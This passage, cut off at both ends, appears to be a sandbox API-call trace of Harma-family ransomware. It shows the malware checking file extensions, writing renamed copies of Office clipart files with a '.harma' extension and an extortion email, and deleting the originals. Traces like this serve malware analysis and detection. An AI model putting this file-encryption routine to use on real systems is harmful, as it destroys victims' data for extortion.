nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.103] SetEndOfFile (hFile=0x338) returned 1 [0147.103] CloseHandle (hObject=0x338) returned 1 [0147.104] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.104] SetEndOfFile (hFile=0x20c) returned 1 [0147.105] CloseHandle (hObject=0x20c) returned 1 [0147.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0147.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.544] lstrlenW (lpString=".doc") returned 4 [0147.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.544] lstrlenW (lpString=".docx") returned 5 [0147.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.544] lstrlenW (lpString=".pdf") returned 4 [0147.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.544] lstrlenW (lpString=".xls") returned 4 [0147.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.545] lstrlenW (lpString=".xlsx") returned 5 [0147.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.545] lstrlenW (lpString=".ppt") returned 4 [0147.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.545] lstrlenW (lpString=".zip") returned 4 [0147.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.545] lstrlenW (lpString=".rar") returned 4 [0147.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.545] lstrlenW (lpString=".bz2") returned 4 [0147.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.545] lstrlenW (lpString=".7z") returned 3 [0147.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.545] lstrlenW (lpString=".dbf") returned 4 [0147.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.545] lstrlenW (lpString=".1cd") returned 4 [0147.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.545] lstrlenW (lpString=".jpg") returned 4 [0147.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.545] lstrlenW (lpString=".doc") returned 4 [0147.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString=".docx") returned 5 [0147.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.546] lstrlenW (lpString=".pdf") returned 4 [0147.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString=".xls") returned 4 [0147.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.546] lstrlenW (lpString=".xlsx") returned 5 [0147.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.546] lstrlenW (lpString=".ppt") returned 4 [0147.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.546] lstrlenW (lpString=".zip") returned 4 [0147.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.546] lstrlenW (lpString=".rar") returned 4 [0147.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString=".bz2") returned 4 [0147.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString=".7z") returned 3 [0147.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.546] lstrlenW (lpString=".dbf") returned 4 [0147.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.546] lstrlenW (lpString=".1cd") returned 4 [0147.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0147.547] lstrlenW (lpString=".jpg") returned 4 [0147.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.547] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.547] lstrlenW (lpString="BS00174_.WMF") returned 12 [0147.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.547] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=8366) returned 1 [0147.548] CloseHandle (hObject=0x2e8) returned 1 [0147.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0147.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.548] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.548] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0147.549] GetLastError () returned 0x0 [0147.549] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x20ae, lpOverlapped=0x0) returned 1 [0147.571] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0147.573] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.573] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.573] SetEndOfFile (hFile=0x334) returned 1 [0147.574] CloseHandle (hObject=0x334) returned 1 [0147.574] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.574] SetEndOfFile (hFile=0x2e8) returned 1 [0147.577] CloseHandle (hObject=0x2e8) returned 1 [0147.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0147.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.579] lstrlenW (lpString=".doc") returned 4 [0147.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.579] lstrlenW (lpString=".docx") returned 5 [0147.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.579] lstrlenW (lpString=".pdf") returned 4 [0147.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.580] lstrlenW (lpString=".xls") returned 4 [0147.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.580] lstrlenW (lpString=".xlsx") returned 5 [0147.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.580] lstrlenW (lpString=".ppt") returned 4 [0147.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.580] lstrlenW (lpString=".zip") returned 4 [0147.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.580] lstrlenW (lpString=".rar") returned 4 [0147.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.580] lstrlenW (lpString=".bz2") returned 4 [0147.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.580] lstrlenW (lpString=".7z") returned 3 [0147.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.580] lstrlenW (lpString=".dbf") returned 4 [0147.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.580] lstrlenW (lpString=".1cd") returned 4 [0147.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.580] lstrlenW (lpString=".jpg") returned 4 [0147.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.581] lstrlenW (lpString=".doc") returned 4 [0147.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString=".docx") returned 5 [0147.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.581] lstrlenW (lpString=".pdf") returned 4 [0147.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString=".xls") returned 4 [0147.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.581] lstrlenW (lpString=".xlsx") returned 5 [0147.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.581] lstrlenW (lpString=".ppt") returned 4 [0147.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.581] lstrlenW (lpString=".zip") returned 4 [0147.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.581] lstrlenW (lpString=".rar") returned 4 [0147.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString=".bz2") returned 4 [0147.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString=".7z") returned 3 [0147.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.582] lstrlenW (lpString=".dbf") returned 4 [0147.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.582] lstrlenW (lpString=".1cd") returned 4 [0147.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0147.582] lstrlenW (lpString=".jpg") returned 4 [0147.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.582] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.582] lstrlenW (lpString="BS00186_.WMF") returned 12 [0147.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.599] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=12788) returned 1 [0147.599] CloseHandle (hObject=0x338) returned 1 [0147.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0147.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.671] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.671] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0147.672] GetLastError () returned 0x0 [0147.672] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x31f4, lpOverlapped=0x0) returned 1 [0147.684] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3200, lpOverlapped=0x0) returned 1 [0147.685] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.685] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.685] SetEndOfFile (hFile=0x334) returned 1 [0147.685] CloseHandle (hObject=0x334) returned 1 [0147.685] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.685] SetEndOfFile (hFile=0x2e8) returned 1 [0147.688] CloseHandle (hObject=0x2e8) returned 1 [0147.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0147.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.689] lstrlenW (lpString=".doc") returned 4 [0147.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.689] lstrlenW (lpString=".docx") returned 5 [0147.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.689] lstrlenW (lpString=".pdf") returned 4 [0147.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.689] lstrlenW (lpString=".xls") returned 4 [0147.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.689] lstrlenW (lpString=".xlsx") returned 5 [0147.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.689] lstrlenW (lpString=".ppt") returned 4 [0147.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.689] lstrlenW (lpString=".zip") returned 4 [0147.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.689] lstrlenW (lpString=".rar") returned 4 [0147.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.689] lstrlenW (lpString=".bz2") returned 4 [0147.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.689] lstrlenW (lpString=".7z") returned 3 [0147.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.689] lstrlenW (lpString=".dbf") returned 4 [0147.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.689] lstrlenW (lpString=".1cd") returned 4 [0147.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.690] lstrlenW (lpString=".jpg") returned 4 [0147.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.690] lstrlenW (lpString=".doc") returned 4 [0147.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.690] lstrlenW (lpString=".docx") returned 5 [0147.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.690] lstrlenW (lpString=".pdf") returned 4 [0147.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.690] lstrlenW (lpString=".xls") returned 4 [0147.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.690] lstrlenW (lpString=".xlsx") returned 5 [0147.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.690] lstrlenW (lpString=".ppt") returned 4 [0147.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.690] lstrlenW (lpString=".zip") returned 4 [0147.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.690] lstrlenW (lpString=".rar") returned 4 [0147.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.690] lstrlenW (lpString=".bz2") returned 4 [0147.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.690] lstrlenW (lpString=".7z") returned 3 [0147.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.691] lstrlenW (lpString=".dbf") returned 4 [0147.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.691] lstrlenW (lpString=".1cd") returned 4 [0147.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0147.691] lstrlenW (lpString=".jpg") returned 4 [0147.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.691] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.691] lstrlenW (lpString="BS00443_.WMF") returned 12 [0147.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.691] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1676) returned 1 [0147.692] CloseHandle (hObject=0x2e8) returned 1 [0147.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0147.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.692] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.692] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0147.693] GetLastError () returned 0x0 [0147.693] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x68c, lpOverlapped=0x0) returned 1 [0147.927] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x690, lpOverlapped=0x0) returned 1 [0147.928] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.928] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.928] SetEndOfFile (hFile=0x334) returned 1 [0147.928] CloseHandle (hObject=0x334) returned 1 [0147.928] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.929] SetEndOfFile (hFile=0x2e8) returned 1 [0147.931] CloseHandle (hObject=0x2e8) returned 1 [0147.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 